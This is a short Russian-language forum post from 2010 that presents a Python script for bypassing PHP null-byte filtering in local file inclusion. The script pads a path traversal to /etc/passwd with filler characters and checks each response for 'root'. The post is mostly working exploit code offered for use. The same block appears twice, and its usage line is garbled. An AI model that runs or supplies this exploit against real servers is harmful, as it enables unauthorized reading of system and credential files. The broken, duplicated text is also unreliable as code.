overxor
07.09.2010, 23:58
Данный метод работает во всех версиях php кроме последней 5.3.3
Смысл в том, чтобы забивать путь в начале файла произвольными символами.
Code:
#!/usr/bin/env python
# Null byte filter bypass
import urllib, sys
if len(sys.argv) [file] [true]: "
exit()
file = "../../../../../../../etc/passwd";
true = "root"
if len(sys.argv) > 3:
file = sys.argv[2]
true = sys.argv[3]
url = sys.argv[1]
for i in xrange(900, 4096):
sys.stderr.write("\rTry: " + str(i))
d = "t" * i
try:
fd = urllib.urlopen(url + d + file)
except:
print "Error connect"
sys.exit(1)
data = fd.read()
fd.close()
if data.find(true) > -1:
print '\n', data
exit(0)
Смысл в том, чтобы забивать путь в начале файла произвольными символами.
Code:
#!/usr/bin/env python
# Null byte filter bypass
import urllib, sys
if len(sys.argv) [file] [true]: "
exit()
file = "../../../../../../../etc/passwd";
true = "root"
if len(sys.argv) > 3:
file = sys.argv[2]
true = sys.argv[3]
url = sys.argv[1]
for i in xrange(900, 4096):
sys.stderr.write("\rTry: " + str(i))
d = "t" * i
try:
fd = urllib.urlopen(url + d + file)
except:
print "Error connect"
sys.exit(1)
data = fd.read()
fd.close()
if data.find(true) > -1:
print '\n', data
exit(0)